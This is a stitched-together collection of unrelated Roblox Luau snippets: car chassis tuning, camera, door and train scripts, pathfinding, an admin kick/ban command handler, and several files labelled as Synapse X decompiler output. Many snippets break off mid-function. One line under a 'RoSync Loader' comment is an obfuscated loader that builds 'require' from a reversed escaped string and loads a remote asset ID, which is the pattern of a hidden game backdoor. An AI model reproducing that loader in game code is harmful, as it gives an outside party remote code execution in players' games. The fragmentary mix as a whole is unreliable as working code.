player.CameraMaxZoomDistance = 8 if humanoid.CameraOffset == Vector3.new(0,0,0) then ok() elseif humanoid.CameraOffset == Vector3.new(0,0,-1.2) then ok() elseif humanoid.CameraOffset == Vector3.new(0,-1,-1.2) then ok2() elseif humanoid.CameraOffset == Vector3.new(0,-3,-1.2) then ok3() end function lock(part) if part and part:IsA("BasePart") then part.LocalTransparencyModifier = part.Transparency part.Changed:connect(function (property) part.LocalTransparencyModifier = part.Transparency end) end end for _,v in pairs(char:GetChildren()) do lock(v) end char.ChildAdded:connect(lock) c.Changed:connect(function (property) if property == "CameraSubject" then if c.CameraSubject and c.CameraSubject:IsA("VehicleSeat") and humanoid then -- Vehicle seats try to change the camera subject to the seat itself. This isn't what we wan't really. c.CameraSubject = humanoid; end end end) end
--Hand
character.Constraint.ConstraintHand.Attachment1 = RHR character.Constraint.ConstraintHand.Attachment0 = RHL
-- Gets the player ready by spawning them
local function readyPlayer(player, whichSpawn) local character = player.Character or player.CharacterAdded:wait() local humanoidRootPart = character:FindFirstChild("HumanoidRootPart") humanoidRootPart.Anchored = true -- Move player to SpeederSpawnLocation character:SetPrimaryPartCFrame(whichSpawn.CFrame) end
--------RIGHT DOOR --------
game.Workspace.doorright.l31.BrickColor = BrickColor.new(106) game.Workspace.doorright.l32.BrickColor = BrickColor.new(21) game.Workspace.doorright.l33.BrickColor = BrickColor.new(106) game.Workspace.doorright.l61.BrickColor = BrickColor.new(21) game.Workspace.doorright.l62.BrickColor = BrickColor.new(106) game.Workspace.doorright.l63.BrickColor = BrickColor.new(21)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = script:FindFirstAncestor("MainUI"); local l__LocalPlayer__2 = game.Players.LocalPlayer; local l__TweenService__1 = game:GetService("TweenService"); return function(p1, p2, p3) local v3 = game.ReplicatedStorage.Entities.Spider:Clone(); v3.Parent = p1.cam; local v4 = v3.AnimationController:LoadAnimation(v3.Animations.Jump); local v5 = tick(); for v6 = 1, 100 do if v4.Length > 0 then break; end; task.wait(); end; local v7 = math.ceil(p2.Main.Size.X * 10) - 2; local v8 = math.ceil(p2.Main.Size.Z * 10) - 2; local v9 = Vector3.new(math.random(-v7, v7) / 22, 0, math.random(-v8, v8) / 22); local v10 = CFrame.Angles(0, math.rad(math.random(0, 360)), 0); v3:SetPrimaryPartCFrame((p2.Main.CFrame + v9) * v10); local l__CFrame__11 = v3.PrimaryPart.CFrame; for v12 = 1, 1000000 do task.wait(); v3.PrimaryPart.CFrame = (p2.Main.CFrame + v9) * v10; if v5 + p3 < tick() then break; end; end; v3.PrimaryPart.Sound:Play(); script.Scare:Play(); v4:Play(0); local v13 = tick(); local l__CFrame__14 = v3.PrimaryPart.CFrame; p1.camShaker:ShakeOnce(5, 6, 0.3, 0.6); for v15 = 1, 1000000 do task.wait(); v3.PrimaryPart.CFrame = l__CFrame__14:Lerp(CFrame.new(p1.cam.CFrame.Position + p1.cam.CFrame.LookVector * 0.35, p1.cam.CFrame.Position), (l__TweenService__1:GetValue((tick() - v13) / 0.2, Enum.EasingStyle.Linear, Enum.EasingDirection.In))); if v13 + 0.2 < tick() then break; end; end; p1.camShaker:ShakeOnce(3, 24, 0, 1); local v16 = tick(); for v17 = 1, 1000000 do task.wait(); v3.PrimaryPart.CFrame = CFrame.new(p1.cam.CFrame.Position + p1.cam.CFrame.LookVector * 0.35, p1.cam.CFrame.Position); if v16 + 0.6 < tick() then break; end; end; v3:Destroy(); end;
-----------------------------------------------------------------------------------------------
script.Parent:WaitForChild("Gear") script.Parent:WaitForChild("Speed") script.Parent:WaitForChild("Needle") local player=game.Players.LocalPlayer local mouse=player:GetMouse() local car = script.Parent.Parent.Parent.Car.Value car.DriveSeat.HeadsUpDisplay = false local _Tune = require(car["A-Chassis Tune"]) local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local currentUnits = 1 local revEnd = math.ceil(_lRPM/1000) script.Parent.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Needle.Rotation = 230 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude) end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude) script.Parent.Unit.Text = UNITS[currentUnits].units end) wait(.1)
--[[ Last synced 12/30/2021 08:43 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[INSTRUCCIONES * Tiempo entre que toca SENSOR y PARADA: 20 segundos ]]
function onTouched(hit) campana.Playing = true ondear.Value = 0.1 chimenea1.Enabled = false chimenea2.Enabled = false ruedaderecha1.AngularVelocity = -2 ruedaderecha2.AngularVelocity = -2 wait(10) ondear.Value = 0.2 campana.TimePosition = 0 ruedaderecha1.AngularVelocity = -1 ruedaderecha2.AngularVelocity = -1 wait(10) ruedaderecha1.AngularVelocity = 0 ruedaderecha2.AngularVelocity = 0 ondear.Value = 50 campana.Playing = false wait(parada) --PARADA ondear.Value = 0.2 humoizquierdo.Enabled = true humoderecho.Enabled = true chimenea1.Enabled = true chimenea2.Enabled = true ruedaderecha1.AngularVelocity = -0.5 ruedaderecha2.AngularVelocity = -0.5 wait(1) ondear.Value = 0.1 ruedaderecha1.AngularVelocity = -1 ruedaderecha2.AngularVelocity = -1 humoizquierdo.Enabled = false humoderecho.Enabled = false wait(1) ondear.Value = 0.05 ruedaderecha1.AngularVelocity = -2 ruedaderecha2.AngularVelocity = -2 humoizquierdo.Enabled = true humoderecho.Enabled = true wait(1) ruedaderecha1.AngularVelocity = -3 ruedaderecha2.AngularVelocity = -3 humoizquierdo.Enabled = false humoderecho.Enabled = false end script.Parent.Touched:connect(onTouched)
--[[Brakes]]
Tune.ABSEnabled = false -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 10 -- Front brake force Tune.RBrakeForce = 3500 -- Rear brake force Tune.PBrakeForce = 40 -- Handbrake force Tune.FLgcyBForce = 15 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25 -- Handbrake force [PGS OFF]
-- Etc
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath") local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled") local DEATH_DESTROY_DELAY = 5 local PATROL_WALKSPEED = 12 local MIN_REPOSITION_TIME = 2 local MAX_REPOSITION_TIME = 10 local MAX_PARTS_PER_HEARTBEAT = 50 local SEARCH_DELAY = 1
-- if RunService:IsStudio() then -- return nil -- end
local player = speaker:GetPlayer() if player then local success, canChat = pcall(function() return Chat:CanUserChatAsync(player.UserId) end) if success and not canChat then return "" end end end) end local systemChannel = ChatService:AddChannel("System") systemChannel.Leavable = false systemChannel.AutoJoin = true systemChannel.WelcomeMessage = ChatLocalization:Get("GameChat_ChatServiceRunner_SystemChannelWelcomeMessage","This channel is for system and game notifications.") systemChannel.SpeakerJoined:connect(function(speakerName) systemChannel:MuteSpeaker(speakerName) end) local function TryRunModule(module) if module:IsA("ModuleScript") then local ret = require(module) if (type(ret) == "function") then ret(ChatService) end end end local modules = game:GetService("Chat"):WaitForChild("ChatModules") modules.ChildAdded:connect(function(child) local success, returnval = pcall(TryRunModule, child) if not success and returnval then print("Error running module " ..child.Name.. ": " ..returnval) end end) for i, module in pairs(modules:GetChildren()) do local success, returnval = pcall(TryRunModule, module) if not success and returnval then print("Error running module " ..module.Name.. ": " ..returnval) end end local Players = game:GetService("Players") Players.PlayerRemoving:connect(function(playerObj) if (ChatService:GetSpeaker(playerObj.Name)) then ChatService:RemoveSpeaker(playerObj.Name) end end)
-----------------------------------PATHER--------------------------------------
local function createNewPopup(popupType) local newModel = Instance.new("ImageHandleAdornment") newModel.AlwaysOnTop = false newModel.Image = "rbxasset://textures/ui/move.png" newModel.ZIndex = 2 local size = ZERO_VECTOR2 if popupType == "DestinationPopup" then newModel.Color3 = Color3.fromRGB(0, 175, 255) size = Vector2.new(4,4) elseif popupType == "DirectWalkPopup" then newModel.Color3 = Color3.fromRGB(0, 175, 255) size = Vector2.new(4,4) elseif popupType == "FailurePopup" then newModel.Color3 = Color3.fromRGB(255, 100, 100) size = Vector2.new(4,4) elseif popupType == "PatherPopup" then newModel.Color3 = Color3.fromRGB(255, 255, 255) size = Vector2.new(3,3) newModel.ZIndex = 1 end local dataStructure = {} dataStructure.Model = newModel function dataStructure:TweenIn() local tween1 = tweenService:Create(self.Model, TweenInfo.new( 1, Enum.EasingStyle.Elastic, Enum.EasingDirection.Out, 0, false, 0 ),{ Size = size } ) tween1:Play() return tween1 end function dataStructure:TweenOut() local tween1 = tweenService:Create(self.Model, TweenInfo.new( .25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0 ),{ Size = ZERO_VECTOR2 } ) tween1:Play() return tween1 end function dataStructure:Place(position, dest) -- place the model at position if not self.Model.Parent then self.Model.Parent = workspace.Terrain self.Model.Adornee = workspace.Terrain local ray = Ray.new(position + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0)) local hitPart, hitPoint, hitNormal = workspace:FindPartOnRayWithIgnoreList(ray, { workspace.CurrentCamera, Player.Character }) self.Model.CFrame = CFrame.new(hitPoint, hitPoint + hitNormal) * CFrame.Angles(0,0,0) + Vector3.new(0, 0.2,0) end end return dataStructure end local function createPopupPath(points, numCircles) -- creates a path with the provided points, using the path and number of circles provided local popups = {} local stopTraversing = false local function killPopup(i) -- kill all popups before and at i for iter, v in pairs(popups) do if iter <= i then local tween = v:TweenOut() spawn(function() tween.Completed:wait() v.Model:Destroy() end) popups[iter] = nil end end end local function stopFunction() stopTraversing = true killPopup(#points) end spawn(function() for i = 1, #points do if stopTraversing then break end local includeWaypoint = i % numCircles == 0 and i < #points and (points[#points].Position - points[i].Position).magnitude > 4 if includeWaypoint then local popup = createNewPopup("PatherPopup") popups[i] = popup local nextPopup = points[i+1] popup:Place(points[i].Position, nextPopup and nextPopup.Position or points[#points].Position) local tween = popup:TweenIn() wait(0.2) end end end) return stopFunction, killPopup end local function Pather(character, endPoint, surfaceNormal) local this = {} this.Cancelled = false this.Started = false this.Finished = Signal.Create() this.PathFailed = Signal.Create() this.PathStarted = Signal.Create() this.PathComputing = false this.PathComputed = false this.TargetPoint = endPoint this.TargetSurfaceNormal = surfaceNormal this.MoveToConn = nil this.CurrentPoint = 0 function this:Cleanup() if this.stopTraverseFunc then this.stopTraverseFunc() end if this.MoveToConn then this.MoveToConn:disconnect() this.MoveToConn = nil this.humanoid = nil end this.humanoid = nil end function this:Cancel() this.Cancelled = true this:Cleanup() end function this:ComputePath() local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso local success = false if torso then if this.PathComputed or this.PathComputing then return end this.PathComputing = true success = pcall(function() this.pathResult = PathfindingService:FindPathAsync(torso.CFrame.p, this.TargetPoint) end) this.pointList = this.pathResult and this.pathResult:GetWaypoints() this.PathComputing = false this.PathComputed = this.pathResult and this.pathResult.Status == Enum.PathStatus.Success or false end return true end function this:IsValidPath() if not this.pathResult then this:ComputePath() end return this.pathResult.Status == Enum.PathStatus.Success end function this:OnPointReached(reached) if reached and not this.Cancelled then this.CurrentPoint = this.CurrentPoint + 1 if this.CurrentPoint > #this.pointList then -- End of path reached if this.stopTraverseFunc then this.stopTraverseFunc() end this.Finished:fire() this:Cleanup() else -- If next action == Jump, but the humanoid -- is still jumping from a previous action -- wait until it gets to the ground if this.CurrentPoint + 1 <= #this.pointList then local nextAction = this.pointList[this.CurrentPoint + 1].Action if nextAction == Enum.PathWaypointAction.Jump then local currentState = this.humanoid:GetState() if currentState == Enum.HumanoidStateType.FallingDown or currentState == Enum.HumanoidStateType.Freefall or currentState == Enum.HumanoidStateType.Jumping then this.humanoid.FreeFalling:wait() -- Give time to the humanoid's state to change -- Otherwise, the jump flag in Humanoid -- will be reset by the state change wait(0.1) end end end -- Move to the next point if this.setPointFunc then this.setPointFunc(this.CurrentPoint) end local nextWaypoint = this.pointList[this.CurrentPoint] if nextWaypoint.Action == Enum.PathWaypointAction.Jump then this.humanoid.Jump = true end this.humanoid:MoveTo(nextWaypoint.Position) end else this.PathFailed:fire() this:Cleanup() end end function this:Start() if CurrentSeatPart then return end this.humanoid = findPlayerHumanoid(Player) if this.Started then return end this.Started = true if SHOW_PATH then -- choose whichever one Mike likes best this.stopTraverseFunc, this.setPointFunc = createPopupPath(this.pointList, 4) end if #this.pointList > 0 then this.MoveToConn = this.humanoid.MoveToFinished:connect(function(reached) this:OnPointReached(reached) end) this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it. this:OnPointReached(true) -- Move to first point else this.PathFailed:fire() if this.stopTraverseFunc then this.stopTraverseFunc() end end end this:ComputePath() if not this.PathComputed then -- set the end point towards the camera and raycasted towards the ground in case we hit a wall local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5 local ray = Ray.new(offsetPoint, Vector3_new(0,-1,0)*50) local newHitPart, newHitPos = RayCastIgnoreList(workspace, ray, getIgnoreList()) if newHitPart then this.TargetPoint = newHitPos end -- try again this:ComputePath() end return this end
-------------------------
function onClicked() R.Function1.Disabled = true FX.ROLL.BrickColor = BrickColor.new("CGA brown") FX.ROLL.loop.Disabled = true FX.REVERB.BrickColor = BrickColor.new("CGA brown") FX.REVERB.loop.Disabled = true FX.GATE.BrickColor = BrickColor.new("CGA brown") FX.GATE.loop.Disabled = true FX.PHASER.BrickColor = BrickColor.new("CGA brown") FX.PHASER.loop.Disabled = true FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown") FX.SLIPROLL.loop.Disabled = true FX.FILTER.BrickColor = BrickColor.new("CGA brown") FX.FILTER.loop.Disabled = true FX.SENDRETURN.BrickColor = BrickColor.new("Really red") FX.SENDRETURN.loop.Disabled = true FX.TRANS.BrickColor = BrickColor.new("CGA brown") FX.TRANS.loop.Disabled = true FX.ECHO.BrickColor = BrickColor.new("CGA brown") FX.ECHO.loop.Disabled = true FX.DELAY.BrickColor = BrickColor.new("CGA brown") FX.DELAY.loop.Disabled = true FX.REVROLL.BrickColor = BrickColor.new("CGA brown") FX.REVROLL.loop.Disabled = true R.loop.Disabled = false R.Function2.Disabled = false end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- Decompiled with the Synapse X Luau decompiler.
return { { id = 340623941, name = "Ninja Bandolier" }, { id = 101081225, name = "Conductor's Gold Pocket Watch" }, { id = 1117745036, name = "Garlic Lapel Pin" }, { id = 2131069286, name = "UFO Lapel Pin" }, { id = 501965407, name = "Scarlet Lapel Flower" }, { id = 1320949015, name = "Dragon Head Lapel Pin" } };
------------------------------------------------------------------------ -- dump debug information ------------------------------------------------------------------------
function luaU:DumpDebug(f, D) local n n = D.strip and 0 or f.sizelineinfo -- dump line information --was DumpVector self:DumpInt(n, D) for i = 0, n - 1 do self:DumpInt(f.lineinfo[i], D) end n = D.strip and 0 or f.sizelocvars -- dump local information self:DumpInt(n, D) for i = 0, n - 1 do self:DumpString(f.locvars[i].varname, D) self:DumpInt(f.locvars[i].startpc, D) self:DumpInt(f.locvars[i].endpc, D) end n = D.strip and 0 or f.sizeupvalues -- dump upvalue information self:DumpInt(n, D) for i = 0, n - 1 do self:DumpString(f.upvalues[i], D) end end
--[=[ @tag Component Instance @param componentClass ComponentClass @return Component? Retrieves another component instance bound to the same Roblox instance. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) local AnotherComponent = require(somewhere.AnotherComponent) function MyComponent:Start() local another = self:GetComponent(AnotherComponent) end ``` ]=]
function Component:GetComponent(componentClass) return componentClass[KEY_INST_TO_COMPONENTS][self.Instance] end
--Ugh, now i have the M*A*S*H theme stuck in my head.....
if string.sub(msg,1,9) == "teleport/" then danumber = nil for i =10,100 do if string.sub(msg,i,i) == "/" then danumber = i break end end if danumber == nil then return end local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker) if player1 == 0 then return end local player2 = findplayer(string.sub(msg,danumber + 1),speaker) if player2 == 0 then return end if #player2 > 1 then return end torso = nil for i =1,#player2 do if player2[i].Character ~= nil then torso = player2[i].Character:FindFirstChild("Torso") end end if torso ~= nil then for i =1,#player1 do if player1[i].Character ~= nil then local torso2 = player1[i].Character:FindFirstChild("Torso") if torso2 ~= nil then torso2.CFrame = torso.CFrame end end end end end if string.sub(msg,1,6) == "merge/" then danumber = nil for i =7,100 do if string.sub(msg,i,i) == "/" then danumber = i break end end if danumber == nil then return end local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker) if player1 == 0 then return end local player2 = findplayer(string.sub(msg,danumber + 1),speaker) if player2 == 0 then return end if #player2 > 1 then return end for i =1,#player2 do if player2[i].Character ~= nil then player2 = player2[i].Character end end for i =1,#player1 do player1[i].Character = player2 end end if msg == "clear" then local c = game.Workspace:GetChildren() for i =1,#c do if c[i].className == "Script" then if c[i]:FindFirstChild("Is A Created Script") then c[i]:remove() end end if c[i].className == "Part" then if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then c[i]:remove() end end if c[i].className == "Model" then if string.sub(c[i].Name,1,4) == "Jail" then c[i]:remove() end end end end if string.sub(msg,1,5) == "kick/" then local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name) if imgettingtiredofmakingthisstupidscript2 == true then local player = findplayer(string.sub(msg,6),speaker) if player ~= 0 then for i = 1,#player do local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name) if imgettingtiredofmakingthisstupidscript == false then if player[i].Name ~= eloname then player[i]:remove() end end end end end end if string.sub(msg,1,4) == "ban/" then local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name) if imgettingtiredofmakingthisstupidscript2 == true then local player = findplayer(string.sub(msg,5),speaker) if player ~= 0 then for i = 1,#player do local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name) if imgettingtiredofmakingthisstupidscript == false then if player[i].Name ~= eloname then table.insert(bannedlist,player[i].Name) player[i]:remove() end end end end end end if string.sub(msg,1,6) == "unban/" then if string.sub(msg,7) == "all" then for i=1,bannedlist do table.remove(bannedlist,i) end else local n = 0 local o = nil for i=1,#bannedlist do if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then n = n + 1 o = i end end if n == 1 then local name = bannedlist[o] table.remove(bannedlist,o) text(name .. " has been unbanned",1,"Message",speaker) elseif n == 0 then text("That name is not found.",1,"Message",speaker) elseif n > 1 then text("That name is ambiguous",1,"Message",speaker) end end end
-- função para adicionar vírgulas a um número
local function commaSeparateNumber(amount) local formatted = amount while true do formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2') if k == 0 then break end end return "Exp:"..formatted end
--print("jumping")
local goal = {} goal.Position = chicken.Position + Vector3.new(0,1,0) local tweenInfo = TweenInfo.new(.7,Enum.EasingStyle.Quad,Enum.EasingDirection.Out,0,true,0) local tween = ts:Create(chicken,tweenInfo,goal) tween:Play() end while true do local jumpchance = math.random(1,10) if jumpchance < 5 then jump() end wait(math.random(1,3)) end
--[[ Enters the view, cloning the element from ReplicatedStorage. ]]
function Dead.enter() failSound:Play() activeElements = elements:Clone() activeElements.Message.Text = translate("You didn't escape") activeElements.Parent = LocalPlayer.PlayerGui end
--[[Susupension]]
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS --Front Suspension Tune.FSusStiffness = 9000 -- Spring Force Tune.FSusDamping = 550 -- Spring Dampening Tune.FAntiRoll = 100 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Resting Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .8 -- Max Compression Travel (in studs) Tune.FSusAngle = 85 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 4 -- Wishbone Length Tune.FWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusStiffness = 8500 -- Spring Force Tune.RSusDamping = 550 -- Spring Dampening Tune.RAntiRoll = 100 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2.2 -- Resting Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .8 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 4 -- Wishbone Length Tune.RWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- Settings can be modified in lines 13-17 --=======================================--
local sm = Color3.fromRGB(17, 200, 216)--color of the messages local welcomeMessage = "Welcome to the game!" -- message that a player is shown when they join local welcomeMessageOn = true -- set to true to give a player a message when they join the game local joinMessage = " has joined." -- will display as "[player] has joined."" local displayJoinMessage = true local leftMessage = " has left." -- will display as "[player] has left." local displayLeaveMessage = true
--[[Engine]]
--Torque Curve Tune.Horsepower = 3000 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 2000 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6500 -- Use sliders to manipulate values Tune.Redline = 10000 Tune.EqPoint = 7500 Tune.PeakSharpness = 10 Tune.CurveMult = 1 --Incline Compensation Tune.InclineComp = 90 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 470 -- RPM acceleration when clutch is off Tune.RevDecay = 486 -- RPM decay when clutch is off Tune.RevBounce = 170 -- RPM kickback from redline Tune.IdleThrottle = 0 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[=[ @class Ser Library for serializing and deserializing data. See the `Classes` property for information on extending the use of the Ser library to include other classes. ]=]
local Ser = {}
-- Make signal strict
setmetatable(Signal, { __index = function(_, key) error(("Attempt to get Signal::%s (not a valid member)"):format(tostring(key)), 2) end, __newindex = function(_, key, _) error(("Attempt to set Signal::%s (not a valid member)"):format(tostring(key)), 2) end }) return Signal
-- Shorthands
local vec3 = Vector3.new local cframe = CFrame.new local zeroVector = vec3(0, 0, 0) local uz = vec3(0, 0, 1) local ux = vec3(1, 0, 0) local sqrt = math.sqrt local dot = zeroVector.Dot local cross = zeroVector.Cross
-- Play Button
script.Parent.Frame.Frame.TextButton.MouseButton1Click:Connect(function() cam.CameraType = Enum.CameraType.Custom script.Parent.Enabled = false script.Parent.Parent.ObbyTimer.Enabled = true script.Parent.Parent.PackUI.Enabled = true script.Parent.Parent.CompletionGUI.Enabled = true looping = false currentTween:Pause() end)
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,-0.25,0) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--[[if (script.Parent.Active) then script.Parent.Name = "RESELECT" while (script.Parent.Active) do wait() end end script.Parent.Name = "Plane"]]
function changeGear() gear = (not gear) for _,v in pairs(gearParts) do v.Transparency,v.Reflectance,v.CanCollide = (gear and v.Trans.Value or 1),(gear and v.Ref.Value or 0),(gear and v.Collide.Value or false) -- Learning how to code like this is extremely useful end end function updateGui(taxiing,stalling) panel.Off.Visible = (not on) panel.Taxi.Visible,panel.Stall.Visible = taxiing,(not taxiing and stalling) if ((realSpeed > -10000) and (realSpeed < 10000)) then panel.Speed.Value.Text = tostring(math.floor(realSpeed+0.5)) end panel.Altitude.Value.Text = tostring(math.floor(main.Position.y+0.5)) - 8 panel.Throttle.Bar.Amount.Size = UDim2.new(throttle,0,1,0) end function taxi() -- Check to see if the plane is on the ground or not return (currentSpeed <= stallSpeed and game.Workspace:findPartOnRay(Ray.new(main.Position,Vector3.new(0,-lowestPoint,0)),plane)) -- Make sure plane is on a surface end function stall() -- Originally set as a giant ternary operation, but got WAY too complex, so I decided to break it down for my own sanity if ((altRestrict) and (main.Position.y > altMax)) then return true end local diff = ((realSpeed-stallSpeed)/200) diff = (diff > 0.9 and 0.9 or diff) local check = { -- Table placed here so I could easily add new 'checks' at ease. If anything in this table is 'true,' then the plane will be considered to be taxiing (currentSpeed <= stallSpeed); (main.CFrame.lookVector.y > (realSpeed < stallSpeed and -1 or -diff)); } for _,c in pairs(check) do if (not c) then return false end end return true end function fly(m) -- Main function that controls all of the flying stuff. Very messy. flying = true local pos,t = main.Position,time() local lastStall = false while ((flying) and (not dead)) do --realSpeed = ((pos-main.Position).magnitude/(time()-t)) -- Calculate "real" speed realSpeed = main.Velocity.Magnitude pos,t = main.Position,time() local max = (maxSpeed+(-main.CFrame.lookVector.y*speedVary)) -- Speed variety based on the pitch of the aircraft desiredSpeed = (max*(on and throttle or 0)) -- Find speed based on throttle local change = (desiredSpeed > currentSpeed and 1 or -1) -- Decide between accelerating or decelerating currentSpeed = (currentSpeed+(accel*change)) -- Calculate new speed
-- Variables
local Maid = {} Maid.__index = Maid
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 165 Tune.IdleRPM = 800 Tune.PeakRPM = 5500 Tune.Redline = 6000 Tune.EqPoint = 5252 Tune.PeakSharpness = 6.0 Tune.CurveMult = 0.2 Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Natural" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger ]] Tune.Boost = 15 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) --Misc Tune.RevAccel = 125 -- RPM acceleration when clutch is off Tune.RevDecay = 25 -- RPM decay when clutch is off Tune.RevBounce = 0 -- RPM kickback from redline Tune.IdleThrottle = 5 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
-- Decompiled with the Synapse X Luau decompiler.
module = {}; function module.sanitize(p1) return p1:gsub("%c", ""); end; return module;
-----------------------------------------------------------------------------------------------
script.Parent:WaitForChild("Speedo") script.Parent:WaitForChild("Tach") script.Parent:WaitForChild("ln") script.Parent:WaitForChild("Gear") script.Parent:WaitForChild("Speed") local player=game.Players.LocalPlayer local mouse=player:GetMouse() local car = script.Parent.Parent.Car.Value car.Body.RSPD2.VehicleSeat.HeadsUpDisplay = false local _Tune = require(car["A-Chassis Tune"]) local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local currentUnits = 1 local revEnd = math.ceil(_lRPM/1000)
---Register User Input--- --Listen for keyboard and gamepad input
local function seatingAction(actionName, inputState, inputObj) if inputState == Enum.UserInputState.Begin then if AdornedSeat then if isFlipped(AdornedSeat) then flipSeat() else EnterKeyDown = true enterStart() end return Enum.ContextActionResult.Sink end elseif EnterKeyDown then EnterKeyDown = false return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end
--// [ key, ally
mouse.KeyDown:connect(function(key) if key=="m" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.AllyEvent:FireServer(true) end end)
--Tune
local WheelieButton = "T" local DeadZone = 90
